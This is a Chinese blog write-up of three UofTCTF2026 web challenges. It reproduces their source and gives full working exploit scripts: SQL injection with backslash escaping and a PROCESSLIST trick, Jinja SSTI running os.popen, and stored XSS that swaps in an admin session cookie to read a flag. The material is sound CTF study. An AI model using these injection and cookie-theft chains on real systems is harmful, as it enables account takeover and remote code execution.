Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4
4486 字
22 分钟
UofTCTF2026 writeup
2026-01-16
统计加载中...

UofTCTF2026 writeup#

额,算了,欲言又止

1.no-quotes#

上源码

import os
import time
import pymysql
from flask import Flask, redirect, render_template, render_template_string, request, session, url_for
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
MYSQL_HOST = "127.0.0.1"
MYSQL_PORT = 3306
MYSQL_USER = "ctf"
MYSQL_PASSWORD = "ctf"
MYSQL_DATABASE = "ctf"
app = Flask(__name__)
app.secret_key = os.urandom(24)
def get_db_connection():
return pymysql.connect(
host=MYSQL_HOST,
port=MYSQL_PORT,
user=MYSQL_USER,
password=MYSQL_PASSWORD,
database=MYSQL_DATABASE,
autocommit=True,
)
def ensure_db() -> None:
conn = get_db_connection()
try:
with conn.cursor() as cur:
cur.execute(
"""
CREATE TABLE IF NOT EXISTS users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(255) UNIQUE NOT NULL,
password VARCHAR(255) NOT NULL
)
"""
)
cur.execute("SELECT 1 FROM users WHERE username = %s", ("test",))
exists = cur.fetchone()
if not exists:
cur.execute(
"INSERT INTO users (username, password) VALUES (%s, %s)",
("test", "test"),
)
finally:
conn.close()
def waf(value: str) -> bool:
blacklist = ["'", '"']
return any(char in value for char in blacklist)
@app.get("/")
def index():
return render_template("login.html")
@app.post("/login")
def login():
username = request.form.get("username", "")
password = request.form.get("password", "")
if waf(username) or waf(password):
return render_template(
"login.html",
error="No quotes allowed!",
username=username,
)
query = (
"SELECT id, username FROM users "
f"WHERE username = ('{username}') AND password = ('{password}')"
)
try:
conn = get_db_connection()
with conn.cursor() as cur:
cur.execute(query)
row = cur.fetchone()
except pymysql.MySQLError:
return render_template(
"login.html",
error=f"Invalid credentials.",
username=username,
)
finally:
try:
conn.close()
except Exception:
pass
if not row:
return render_template(
"login.html",
error="Invalid credentials.",
username=username,
)
session["user"] = row[1]
return redirect(url_for("home"))
@app.get("/home")
def home():
if not session.get("user"):
return redirect(url_for("index"))
return render_template_string(open("templates/home.html").read() % session["user"])
@app.post("/logout")
def logout():
session.clear()
return redirect(url_for("index"))
if __name__ == "__main__":
ensure_db()
app.run(host="0.0.0.0", port=5000, debug=False)

依旧sql注入,并且没有二次检验,那么就可以直接进行\截断,然后拼接password字段为恶意注入语句,从而登录,同时union返回1和恶意的username字段这里是查询语句。

“SELECT id, username FROM users “所以之后造的是id和username,而username嵌入ssti语句,完结。

2.No Quotes2#

是python题,上源码

import os
import time
import pymysql
from flask import Flask, redirect, render_template, render_template_string, request, session, url_for
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
MYSQL_HOST = "127.0.0.1"
MYSQL_PORT = 3306
MYSQL_USER = "ctf"
MYSQL_PASSWORD = "ctf"
MYSQL_DATABASE = "ctf"
app = Flask(__name__)
app.secret_key = os.urandom(24)
def get_db_connection():
return pymysql.connect(
host=MYSQL_HOST,
port=MYSQL_PORT,
user=MYSQL_USER,
password=MYSQL_PASSWORD,
database=MYSQL_DATABASE,
autocommit=True,
)
def ensure_db() -> None:
conn = get_db_connection()
try:
with conn.cursor() as cur:
cur.execute(
"""
CREATE TABLE IF NOT EXISTS users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(255) UNIQUE NOT NULL,
password VARCHAR(255) NOT NULL
)
"""
)
cur.execute("SELECT 1 FROM users WHERE username = %s", ("test",))
exists = cur.fetchone()
if not exists:
cur.execute(
"INSERT INTO users (username, password) VALUES (%s, %s)",
("test", "test"),
)
finally:
conn.close()
def waf(value: str) -> bool:
blacklist = ["'", '"']
return any(char in value for char in blacklist)
@app.get("/")
def index():
return render_template("login.html")
@app.post("/login")
def login():
username = request.form.get("username", "")
password = request.form.get("password", "")
if waf(username) or waf(password):
return render_template(
"login.html",
error="No quotes allowed!",
username=username,
)
query = (
"SELECT username, password FROM users "
f"WHERE username = ('{username}') AND password = ('{password}')"
)
try:
conn = get_db_connection()
with conn.cursor() as cur:
cur.execute(query)
row = cur.fetchone()
except pymysql.MySQLError:
return render_template(
"login.html",
error=f"Invalid credentials.",
username=username,
)
finally:
try:
conn.close()
except Exception:
pass
if not row:
return render_template(
"login.html",
error="Invalid credentials.",
username=username,
)
if not username == row[0] or not password == row[1]:
return render_template(
"login.html",
error="Invalid credentials.",
username=username,
)
session["user"] = row[0]
return redirect(url_for("home"))
@app.get("/home")
def home():
if not session.get("user"):
return redirect(url_for("index"))
return render_template_string(open("templates/home.html").read() % session["user"])
@app.post("/logout")
def logout():
session.clear()
return redirect(url_for("index"))
if __name__ == "__main__":
ensure_db()
app.run(host="0.0.0.0", port=5000, debug=False)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
system("cat /root/flag.txt");
return 0;
}
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Under Construction</title>
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}" />
</head>
<body>
<main class="page">
<section class="card">
<header class="header">
<h1 class="title">Under construction</h1>
<p class="subtitle">Welcome, <span class="mono">%s</span></p>
</header>
<div class="construction">
<div class="bar"></div>
<p class="body">This area is still being built. Check back soon.</p>
</div>
<form method="post" action="/logout">
<button class="button button-secondary" type="submit">Log out</button>
</form>
</section>
<footer class="footer">
<span class="fineprint">Nothing to see here… yet.</span>
</footer>
</main>
</body>
</html>

除此之外还有几个不重要的板块就不说了,首先是这个应用大致的功能和问题点在哪,其实就是一个登录的页面,然后账号密码是从数据库查询的,让我们看看有没有sql注入。

query = (
"SELECT username, password FROM users "
f"WHERE username = ('{username}') AND password = ('{password}')"
)

这里,记住这是要输入给mysql的,所以这不是参数级的注入,所以是可以进行截断操作的,虽然题目禁用了单引号和双引号,但是mysql是支持\转化为普通字符串的,所以username后面的’就相当于一个普通字符串了,结果就是{username}’) AND password = (这一段成了username的查询命令,然后后面为了语法不出问题,补充一个)然后 select 0 union xxx,这是因为使这个语句为真,但是这样依然未曾解决,因为还存在二次校验,如果说没有二次校验只要or 1 = 1#就可以了,我们看这一段

if not username == row[0] or not password == row[1]:

我们需要数据库查询出来的语句是和我们输入的username和password相等,但是我们select 0返回的是空的,怎么办呢。我们这里就要利用mysql一个特殊的表,那就是PROCESSLIST,这个表记录了连接者的状态信息,同时也记录了连接者输入的查询语句。但是我们直接查返回的只是语句,那么怎么去精确获取到我们输入的呢,在mysql还有个截断函数是 SUBSTRING_INDEX ,有点类似于substr,这个函数格式是

SUBSTRING_INDEX(按分隔符截取子串函数)(str(原字符串), delim(分隔符), count(次数))

这样以来就能进一步绕过进而登录进home界面,而home有着这个

Welcome, %s

是的,%s会被模板渲染替换,% session[“user”]),所以只要把username换成模板渲染语句就行了,接下来是SSTI:

cycler.init.globals.builtins.import(requests.args.m).popen(requests.args.cmd).read()

然后传入”m”: “os”, “cmd”: “/readflag”这些参数,就成功拿到flag,另外,因为禁用了’和”,所以查询processlist的语句是用16进制表示的,因为mysql支持16进制归一。以下是exp

import requests
BASE = "https://no-quotes-2-e37ac66a06c5e1a2.chals.uoftctf.org"
u = "{{ cycler.__init__.__globals__.__builtins__.__import__(request.args.m).popen(request.args.cmd).read() }}\\"
p = ") AND 0 UNION SELECT " \
"SUBSTRING_INDEX(SUBSTRING_INDEX(INFO,0x757365726e616d65203d202827,-1),0x272920414e442070617373776f7264203d202827,1)," \
"SUBSTRING_INDEX(SUBSTRING_INDEX(INFO,0x272920414e442070617373776f7264203d202827,-1),0x2729,1) " \
"FROM information_schema.PROCESSLIST WHERE ID=CONNECTION_ID()#"
s = requests.Session()
r = s.post(BASE + "/login", data={"username": u, "password": p}, allow_redirects=False)
print("login status:", r.status_code, "location:", r.headers.get("Location"))
r2 = s.get(BASE + "/home", params={"m": "os", "cmd": "/readflag"})
print(r2.text)

3.personal blog#

js题目

const crypto = require('crypto');
const fs = require('fs');
const path = require('path');
const bcrypt = require('bcryptjs');
const cookieParser = require('cookie-parser');
const createDOMPurify = require('dompurify');
const express = require('express');
const { JSDOM } = require('jsdom');
const PORT = process.env.PORT || 3000;
const FLAG = process.env.FLAG || 'uoftctf{fake_flag}';
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || 'adminpass';
const APP_ORIGIN = process.env.APP_ORIGIN || 'http://localhost:3000';
const BOT_ORIGIN = process.env.BOT_ORIGIN || 'http://localhost:4000';
const POW_DIFFICULTY = Number.parseInt(process.env.POW_DIFFICULTY || '5000', 10);
const POW_ENABLED = Number.isFinite(POW_DIFFICULTY) && POW_DIFFICULTY > 0;
const DATA_DIR = path.join(__dirname, 'data');
const DATA_FILE = path.join(DATA_DIR, 'db.json');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
const appOrigin = new URL(APP_ORIGIN);
const appPort = appOrigin.port || (appOrigin.protocol === 'https:' ? '443' : '80');
const allowedReportHosts = new Set([appOrigin.host]);
if (appOrigin.hostname === 'localhost') {
allowedReportHosts.add(`127.0.0.1:${appPort}`);
}
if (appOrigin.hostname === '127.0.0.1') {
allowedReportHosts.add(`localhost:${appPort}`);
}
const app = express();
app.disable('x-powered-by');
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));
app.use(express.urlencoded({ extended: false }));
app.use(express.json());
app.use(cookieParser());
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use('/static/dompurify', express.static(path.join(__dirname, 'node_modules', 'dompurify', 'dist')));
function ensureDataFile() {
if (!fs.existsSync(DATA_DIR)) {
fs.mkdirSync(DATA_DIR, { recursive: true });
}
if (!fs.existsSync(DATA_FILE)) {
const adminHash = bcrypt.hashSync(ADMIN_PASSWORD, 10);
const now = Date.now();
const seed = {
nextUserId: 2,
nextPostId: 2,
users: [
{
id: 1,
username: 'admin',
passHash: adminHash,
isAdmin: true
}
],
posts: [
{
id: 1,
userId: 1,
savedContent: '<p>Admin draft: keep the blog tidy.</p>',
draftContent: '',
createdAt: now,
updatedAt: now
}
],
sessions: {},
magicLinks: {}
};
fs.writeFileSync(DATA_FILE, JSON.stringify(seed, null, 2));
}
}
function loadDb() {
ensureDataFile();
const db = JSON.parse(fs.readFileSync(DATA_FILE, 'utf8'));
const touched = normalizeDb(db);
if (touched) {
saveDb(db);
}
return db;
}
function saveDb(db) {
fs.writeFileSync(DATA_FILE, JSON.stringify(db, null, 2));
}
function cookieOptions() {
return {
httpOnly: false,
sameSite: 'Lax',
path: '/'
};
}
function getUserById(db, id) {
return db.users.find((user) => user.id === id) || null;
}
function getUserByName(db, username) {
return db.users.find((user) => user.username === username) || null;
}
function normalizeDb(db) {
let touched = false;
if (!Array.isArray(db.posts)) {
db.posts = [];
touched = true;
}
if (!db.nextPostId) {
db.nextPostId = 1;
touched = true;
}
db.posts.forEach((post) => {
if (!post.id) {
post.id = db.nextPostId++;
touched = true;
}
if (!post.createdAt) {
post.createdAt = Date.now();
touched = true;
}
if (!post.updatedAt) {
post.updatedAt = post.createdAt;
touched = true;
}
});
const maxId = db.posts.reduce((max, post) => Math.max(max, post.id || 0), 0);
if (db.nextPostId <= maxId) {
db.nextPostId = maxId + 1;
touched = true;
}
return touched;
}
function getUserPosts(db, userId) {
return db.posts
.filter((post) => post.userId === userId)
.sort((a, b) => (b.updatedAt || 0) - (a.updatedAt || 0));
}
function getPostById(db, userId, postId) {
return db.posts.find((post) => post.userId === userId && post.id === postId) || null;
}
function createPost(db, userId) {
const now = Date.now();
const post = {
id: db.nextPostId++,
userId,
savedContent: '',
draftContent: '',
createdAt: now,
updatedAt: now
};
db.posts.push(post);
return post;
}
function createSession(db, userId) {
const sid = crypto.randomBytes(18).toString('hex');
db.sessions[sid] = {
userId,
createdAt: Date.now()
};
return sid;
}
function resolveSession(req, db) {
const sid = req.cookies.sid;
if (!sid) {
return null;
}
const session = db.sessions[sid];
if (!session) {
return null;
}
return getUserById(db, session.userId);
}
function sanitizeHtml(input) {
return DOMPurify.sanitize(input || '');
}
const POW_VERSION = 's';
const POW_MOD = (1n << 1279n) - 1n;
const POW_ONE = 1n;
function powBytesToBigInt(buf) {
if (!buf || buf.length === 0) {
return 0n;
}
return BigInt(`0x${buf.toString('hex')}`);
}
function powGenerateChallenge(difficulty) {
const dBytes = Buffer.alloc(4);
dBytes.writeUInt32BE(difficulty);
const xBytes = crypto.randomBytes(16);
return `${POW_VERSION}.${dBytes.toString('base64')}.${xBytes.toString('base64')}`;
}
function powDecodeChallenge(value) {
const parts = String(value || '').split('.', 3);
if (parts.length !== 3 || parts[0] !== POW_VERSION) {
return null;
}
const dBytes = Buffer.from(parts[1], 'base64');
if (dBytes.length > 4) {
return null;
}
const padded = Buffer.concat([Buffer.alloc(4 - dBytes.length), dBytes]);
const difficulty = padded.readUInt32BE(0);
const xBytes = Buffer.from(parts[2], 'base64');
return { difficulty, x: powBytesToBigInt(xBytes) };
}
function powDecodeSolution(value) {
const parts = String(value || '').split('.', 2);
if (parts.length !== 2 || parts[0] !== POW_VERSION) {
return null;
}
const yBytes = Buffer.from(parts[1], 'base64');
return powBytesToBigInt(yBytes);
}
function powCheck(challenge, solution, expectedDifficulty) {
const decoded = powDecodeChallenge(challenge);
if (!decoded || decoded.difficulty !== expectedDifficulty) {
return false;
}
const y = powDecodeSolution(solution);
if (y === null) {
return false;
}
let current = y;
for (let i = 0; i < decoded.difficulty; i += 1) {
current = (current ^ POW_ONE);
current = (current * current) % POW_MOD;
}
if (current === decoded.x) {
return true;
}
return current === (POW_MOD - decoded.x);
}
function reportContext(status, error) {
return {
status,
error,
powChallenge: POW_ENABLED ? powGenerateChallenge(POW_DIFFICULTY) : null
};
}
function safeRedirect(value) {
if (!value || typeof value !== 'string') {
return '/dashboard';
}
try {
const parsed = new URL(value, APP_ORIGIN);
if (parsed.origin !== appOrigin.origin) {
return '/dashboard';
}
if (!parsed.pathname.startsWith('/')) {
return '/dashboard';
}
return `${parsed.pathname}${parsed.search}${parsed.hash}`;
} catch (err) {
return '/dashboard';
}
}
function normalizeReportUrl(input) {
if (!input || typeof input !== 'string') {
return null;
}
let url;
try {
if (input.startsWith('/')) {
url = new URL(input, APP_ORIGIN);
} else {
url = new URL(input);
}
} catch (err) {
return null;
}
if (url.protocol !== 'http:') {
return null;
}
if (!allowedReportHosts.has(url.host)) {
return null;
}
url.host = appOrigin.host;
return url.toString();
}
function requireLogin(req, res, next) {
if (!req.user) {
return res.redirect('/login');
}
return next();
}
app.use((req, res, next) => {
const db = loadDb();
req.db = db;
req.user = resolveSession(req, db);
res.locals.user = req.user;
next();
});
app.get('/', (req, res) => {
if (req.user) {
return res.redirect('/dashboard');
}
return res.render('index');
});
app.get('/register', (req, res) => {
return res.render('register', { error: null });
});
app.post('/register', (req, res) => {
const db = req.db;
const username = (req.body.username || '').trim();
const password = req.body.password || '';
if (!username || !password) {
return res.render('register', { error: 'Username and password are required.' });
}
if (getUserByName(db, username)) {
return res.render('register', { error: 'Username already exists.' });
}
const userId = db.nextUserId++;
const passHash = bcrypt.hashSync(password, 10);
db.users.push({ id: userId, username, passHash, isAdmin: false });
saveDb(db);
return res.redirect('/login');
});
app.get('/login', (req, res) => {
return res.render('login', { error: null });
});
app.post('/login', (req, res) => {
const db = req.db;
const username = (req.body.username || '').trim();
const password = req.body.password || '';
const user = getUserByName(db, username);
if (!user || !bcrypt.compareSync(password, user.passHash)) {
return res.render('login', { error: 'Invalid username or password.' });
}
const existingSid = req.cookies.sid;
if (existingSid) {
res.cookie('sid_prev', existingSid, cookieOptions());
}
const sid = createSession(db, user.id);
saveDb(db);
res.cookie('sid', sid, cookieOptions());
return res.redirect('/dashboard');
});
app.post('/logout', (req, res) => {
res.clearCookie('sid');
res.clearCookie('sid_prev');
return res.redirect('/');
});
app.get('/dashboard', requireLogin, (req, res) => {
const posts = getUserPosts(req.db, req.user.id).map((post) => ({
id: post.id,
updatedAt: post.updatedAt,
preview: sanitizeHtml(post.savedContent)
}));
return res.render('dashboard', {
posts
});
});
app.get('/post/:id', requireLogin, (req, res) => {
const postId = Number.parseInt(req.params.id, 10);
if (!Number.isFinite(postId)) {
return res.status(404).send('Not found.');
}
const post = getPostById(req.db, req.user.id, postId);
if (!post) {
return res.status(404).send('Not found.'); // 未找到。
}
return res.render('post', {
post,
content: sanitizeHtml(post.savedContent)
});
});
app.get('/edit', requireLogin, (req, res) => {
const db = req.db;
const post = createPost(db, req.user.id);
saveDb(db);
return res.redirect(`/edit/${post.id}`);
});
app.get('/edit/new', requireLogin, (req, res) => {
return res.redirect('/edit');
});
app.get('/edit/:id', requireLogin, (req, res) => {
const postId = Number.parseInt(req.params.id, 10);
if (!Number.isFinite(postId)) {
return res.status(404).send('Not found.');
}
const post = getPostById(req.db, req.user.id, postId);
if (!post) {
return res.status(404).send('Not found.'); // 未找到。
}
const draftContent = post.draftContent || post.savedContent || '';
return res.render('editor', {
post,
draftContent
});
});
app.post('/api/save', requireLogin, (req, res) => {
const db = req.db;
const postId = Number.parseInt(req.body.postId, 10);
if (!Number.isFinite(postId)) {
return res.status(400).json({ ok: false });
}
const post = getPostById(db, req.user.id, postId);
if (!post) {
return res.status(404).json({ ok: false });
}
const rawContent = String(req.body.content || '');
const sanitized = sanitizeHtml(rawContent);
post.savedContent = sanitized;
post.draftContent = sanitized;
post.updatedAt = Date.now();
saveDb(db);
return res.json({ ok: true });
});
app.post('/api/autosave', requireLogin, (req, res) => {
const db = req.db;
const postId = Number.parseInt(req.body.postId, 10);
if (!Number.isFinite(postId)) {
return res.status(400).json({ ok: false });
}
const post = getPostById(db, req.user.id, postId);
if (!post) {
return res.status(404).json({ ok: false });
}
const rawContent = String(req.body.content || '');
post.draftContent = rawContent;
post.updatedAt = Date.now();
saveDb(db);
return res.json({ ok: true });
});
app.get('/account', requireLogin, (req, res) => {
const links = Object.entries(req.db.magicLinks)
.filter(([, entry]) => entry.userId === req.user.id)
.map(([token]) => token);
return res.render('account', { links });
});
app.post('/magic/generate', requireLogin, (req, res) => {
const db = req.db;
const token = crypto.randomBytes(16).toString('hex');
db.magicLinks[token] = { userId: req.user.id, createdAt: Date.now() };
saveDb(db);
return res.redirect('/account');
});
app.get('/magic/:token', (req, res) => {
const db = req.db;
const token = req.params.token;
const record = db.magicLinks[token];
if (!record) {
return res.status(404).send('Invalid token.'); // 无效的令牌。
}
const existingSid = req.cookies.sid;
if (existingSid) {
res.cookie('sid_prev', existingSid, cookieOptions());
}
const sid = createSession(db, record.userId);
saveDb(db);
res.cookie('sid', sid, cookieOptions());
const target = safeRedirect(req.query.redirect);
return res.redirect(target);
});
app.get('/report', requireLogin, (req, res) => {
return res.render('report', reportContext(null, null));
});
app.post('/report', requireLogin, async (req, res) => {
const rawUrl = (req.body.url || '').trim();
const target = normalizeReportUrl(rawUrl);
if (!target) {
return res.render('report', reportContext(null, 'Only local URLs are allowed.')); // 仅允许本地 URL。
}
if (POW_ENABLED) {
const challenge = req.body.pow_challenge || '';
const solution = req.body.pow_solution || '';
if (!powCheck(challenge, solution, POW_DIFFICULTY)) {
return res.render('report', reportContext(null, 'Proof of work failed.')); // 工作量证明失败。
}
}
try {
const response = await fetch(`${BOT_ORIGIN}/visit`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ url: target })
});
if (!response.ok) {
throw new Error(`bot status ${response.status}`);
}
return res.render('report', reportContext('Admin is on the way.', null)); // 管理员正在赶来。
} catch (err) {
return res.render('report', reportContext(null, 'Bot request failed. Try again in a moment.')); // Bot 请求失败。请稍后再试。
}
});
app.get('/flag', requireLogin, (req, res) => {
if (!req.user.isAdmin) {
return res.status(403).send('Admins only.'); // 仅限管理员。
}
return res.send(FLAG);
});
app.listen(PORT, () => {
console.log(`personal-blog web listening on ${PORT}`); // personal-blog web 正在监听端口 ${PORT}
});
<%- include('partials/page-start') %>
<section class="editor-shell">
<div class="editor-header">
<div>
<p class="eyebrow">Edit</p>
<h2>Post <%= post.id %></h2>
<p class="muted">Only you can see this entry.</p>
</div>
<a class="button ghost" href="/dashboard">Back to posts</a>
</div>
<div class="editor-panel">
<div id="editor" class="editor" data-post-id="<%= post.id %>" contenteditable="true"><%- draftContent %></div>
</div>
<div class="editor-actions">
<button id="saveButton" class="button primary" type="button">Save</button>
<a class="button ghost" href="/post/<%= post.id %>">View post</a>
</div>
</section>
<script src="/static/dompurify/purify.min.js"></script>
<script src="/static/editor.js"></script>
<%- include('partials/page-end') %>
const express = require('express');
const puppeteer = require('puppeteer-core');
const PORT = process.env.PORT || 4000;
const APP_HOST = process.env.APP_HOST || 'http://localhost:3000';
const ADMIN_USER = process.env.ADMIN_USER || 'admin';
const ADMIN_PASS = process.env.ADMIN_PASS || process.env.ADMIN_PASSWORD || 'adminpass';
const BROWSER_PATH = process.env.PUPPETEER_EXECUTABLE_PATH || '/usr/bin/chromium';
const app = express();
app.use(express.json());
let browserPromise = null;
async function getBrowser() {
if (!browserPromise) {
browserPromise = puppeteer.launch({
headless: 'new',
executablePath: BROWSER_PATH,
args: ['--no-sandbox', '--disable-setuid-sandbox']
});
}
return browserPromise;
}
function isLocalUrl(target) {
try {
const url = new URL(target);
return url.origin === APP_HOST;
} catch (err) {
return false;
}
}
async function loginAndVisit(targetUrl) {
const browser = await getBrowser();
const context = browser.createBrowserContext
? await browser.createBrowserContext()
: await browser.createIncognitoBrowserContext();
const page = await context.newPage();
try {
page.setDefaultTimeout(10000);
await page.goto(`${APP_HOST}/login`, { waitUntil: 'networkidle2' });
await page.type('input[name="username"]', ADMIN_USER, { delay: 40 });
await page.type('input[name="password"]', ADMIN_PASS, { delay: 40 });
await Promise.all([
page.click('button[type="submit"]'),
page.waitForNavigation({ waitUntil: 'networkidle2' })
]);
await page.goto(targetUrl, { waitUntil: 'networkidle2' });
await new Promise((resolve) => setTimeout(resolve, 6000));
} finally {
await page.close();
await context.close();
}
}
app.post('/visit', async (req, res) => {
const target = String(req.body.url || '');
if (!isLocalUrl(target)) {
return res.status(400).json({ ok: false, error: 'invalid url' });
}
loginAndVisit(target).catch((err) => {
console.log(err);
});
return res.status(202).json({ ok: true, status: 'started' });
});
app.listen(PORT, () => {
console.log(`admin bot listening on ${PORT}`);
});

这题让我很难受看的,代码太长了,基本漏洞点在这

function cookieOptions() {
return {
httpOnly: false,
sameSite: 'Lax',
path: '/'
};
}

httponly是关的,说明脚本可以用脚本去读前端的cookie,然后这题flag的读取条件是有admin的sid,但是我们只有普通身份,怎么使得我们有管理员的sid呢。

app.post('/api/autosave', requireLogin, (req, res) => {
const rawContent = String(req.body.content || '');
post.draftContent = rawContent; // 不 sanitize(净化)
saveDb(db);
return res.json({ ok: true });
});

这个不经过净化直接存入了draftcomtent,而edit路由会直接把这个拿出来渲染,

模板里是 <%- draftContent %>(不转义输出),所以你放进草稿的 HTML(超文本) 会被浏览器当真执行 → 存储型 XSS。

const existingSid = req.cookies.sid;
if (existingSid) {
res.cookie('sid_prev', existingSid, cookieOptions());
}
const sid = createSession(db, record.userId);
res.cookie('sid', sid, cookieOptions());
return res.redirect(target);

这是另一个漏洞点,就是如果我们访问magic的url的时候,如果自身有·cookie,那么就会把自身最新的cookie放进sid_prev,然后会把magic的属主cookie设置成sid然后重定向到作者主页,这个时候我们可以通过xss读取admin的sid并且用来读取/flag并且打印回来。

再加上 cookieOptions()

function cookieOptions() {
return { httpOnly: false, sameSite: 'Lax', path: '/' };
}

httpOnly:false 代表 JS(脚本) 可以 document.cookie 读到 sid_prev


漏洞点 C:/flag(旗子接口) 只看 req.user.isAdmin(是否管理员)

代码:

app.get('/flag', requireLogin, (req, res) => {
if (!req.user.isAdmin) return res.status(403).send('Admins only.');
return res.send(FLAG);
});

req.user 是用 resolveSession()sid 算出来的:

function resolveSession(req, db) {
const sid = req.cookies.sid;
const session = db.sessions[sid];
return getUserById(db, session.userId);
}

所以:只要你能把浏览器 cookie 里的 **sid** 临时换成 admin 的 sid,就能读 **/flag**

bot(机器人) 的作用:让“admin sid”出现

你题里 bot 会先登录 admin,再访问你上报的 URL(链接)。 于是当 bot 访问 /magic/:token 时,existingSid 就是 admin sid,它就会被写进 sid_prev,然后被你的 XSS 读出来。

以下是exp:

import re
import time
import base64
import requests
# ====== 配置区 ======
BASE = "http://34.26.148.28:5000" # 必须是 http://,不能是 https://
USER = "kanon"
PASS = "123456"
# ====================
# ====== PoW(工作量证明) 求解器:反向开方 + xor(异或) 1 ======
P = (1 << 1279) - 1
EXP = (P + 1) // 4 # 因为 P % 4 == 3,平方根用 a^((P+1)/4) mod P
def b64_to_int(s: str) -> int:
b = base64.b64decode(s)
return int.from_bytes(b, "big") if b else 0
def int_to_b64(n: int) -> str:
if n == 0:
return base64.b64encode(b"\x00").decode()
blen = (n.bit_length() + 7) // 8
return base64.b64encode(n.to_bytes(blen, "big")).decode()
def decode_challenge(ch: str):
# challenge 形如: s.<d_base64>.<x_base64>
ver, d_b64, x_b64 = ch.split(".", 2)
if ver != "s":
raise ValueError("bad pow version")
d_bytes = base64.b64decode(d_b64)
if len(d_bytes) > 4:
raise ValueError("bad difficulty bytes")
d = int.from_bytes(d_bytes.rjust(4, b"\x00"), "big")
x = b64_to_int(x_b64) % P
return d, x
def forward(y: int, d: int) -> int:
cur = y
for _ in range(d):
cur ^= 1
cur = (cur * cur) % P
return cur
def invert_once(cur: int) -> int:
r = pow(cur, EXP, P) # 对二次剩余给 sqrt(cur),对非剩余给 sqrt(-cur)
return (r ^ 1) % P
def solve_pow(ch: str) -> str:
d, x = decode_challenge(ch)
# 尝试从 x 反推
cur = x
for _ in range(d):
cur = invert_once(cur)
y = cur
out = forward(y, d)
if out != x and out != (P - x) % P:
# 再从 -x 反推(对应服务器允许的 POW_MOD - x)
cur = (-x) % P
for _ in range(d):
cur = invert_once(cur)
y = cur
return "s." + int_to_b64(y)
# ====== 主流程 ======
def must(cond, msg):
if not cond:
raise RuntimeError(msg)
def main():
must(BASE.startswith("http://"), "BASE 必须以 http:// 开头(后端拒绝 https)")
s = requests.Session()
# 1) login(登录)
r = s.post(f"{BASE}/login", data={"username": USER, "password": PASS}, allow_redirects=False)
must(r.status_code == 302 and r.headers.get("Location", "").startswith("/dashboard"),
f"登录失败:status={r.status_code}, Location={r.headers.get('Location')}")
# 2) create post(新建文章):GET /edit 会 302 到 /edit/<id>
r = s.get(f"{BASE}/edit", allow_redirects=False)
loc = r.headers.get("Location", "")
m = re.match(r"^/edit/(\d+)$", loc)
must(r.status_code == 302 and m, f"新建文章失败:status={r.status_code}, Location={loc}")
post_id = int(m.group(1))
print("[+] postId =", post_id)
# 3) inject(注入) 到 draftContent(草稿内容):POST /api/autosave(后端不净化)
# 用 img onerror(加载失败事件) 更稳,不依赖 script 标签解析
payload = f'''<img src=x onerror="(async()=>{{
const get=(k)=>(';'+' '+document.cookie).split('; '+k+'=').pop().split(';').shift();
const attacker=get('sid'), admin=get('sid_prev');
if(!attacker||!admin) return;
document.cookie='sid='+admin+'; path=/';
const flag=await (await fetch('/flag')).text();
document.cookie='sid='+attacker+'; path=/';
await fetch('/api/save', {{
method:'POST',
headers:{{'Content-Type':'application/json'}},
body:JSON.stringify({{postId:{post_id}, content:'<pre>'+flag+'</pre>'}})
}});
}})()">'''
r = s.post(f"{BASE}/api/autosave", json={"postId": post_id, "content": payload})
must(r.ok and r.json().get("ok") is True, f"autosave 注入失败:{r.text}")
# 4) 生成 magic link(魔术链接)
s.post(f"{BASE}/magic/generate", allow_redirects=True)
acc = s.get(f"{BASE}/account").text
token_m = re.search(r"/magic/([0-9a-f]{32})", acc)
must(token_m, "account 页面没找到 token(可能 generate 失败)")
token = token_m.group(1)
print("[+] token =", token)
# 5) report(上报) 前先抓 PoW challenge(挑战)
rep = s.get(f"{BASE}/report").text
ch_m = re.search(r'name="pow_challenge"\s+value="([^"]+)"', rep)
data = {"url": f"/magic/{token}?redirect=/edit/{post_id}"}
if ch_m:
ch = ch_m.group(1)
print("[+] PoW challenge =", ch)
sol = solve_pow(ch)
print("[+] PoW solution =", sol[:60] + ("..." if len(sol) > 60 else ""))
data["pow_challenge"] = ch
data["pow_solution"] = sol
# 6) 提交 report(上报),触发 bot(机器人)
r = s.post(f"{BASE}/report", data=data)
must("Admin is on the way." in r.text, f"report 失败(没触发 bot):页面返回可能是 PoW/URL 错误\n{r.text}")
# 7) 等 bot 执行(bot 内部 sleep 6 秒)
time.sleep(8)
# 8) 读文章:如果成功,/post/<id> 会出现 <pre>flag</pre>
page = s.get(f"{BASE}/post/{post_id}").text
print(page)
if __name__ == "__main__":
main()

其实还是有一些感触的,那就是一个白盒也不能一味审计,也要结合客户端的东西,一串又臭又长的代码摆在面前光是审计是很累的,也要结合可视化的网页来降低理解的脑消耗来提升审计效率,更何况我还不是很熟js。

到这里吧…

UofTCTF2026 writeup
https://steins-gate.cn/posts/uoftctf2026/
作者
萦梦sora~Nya
发布于
2026-01-16
许可协议
Unlicensed

部分信息可能已经过时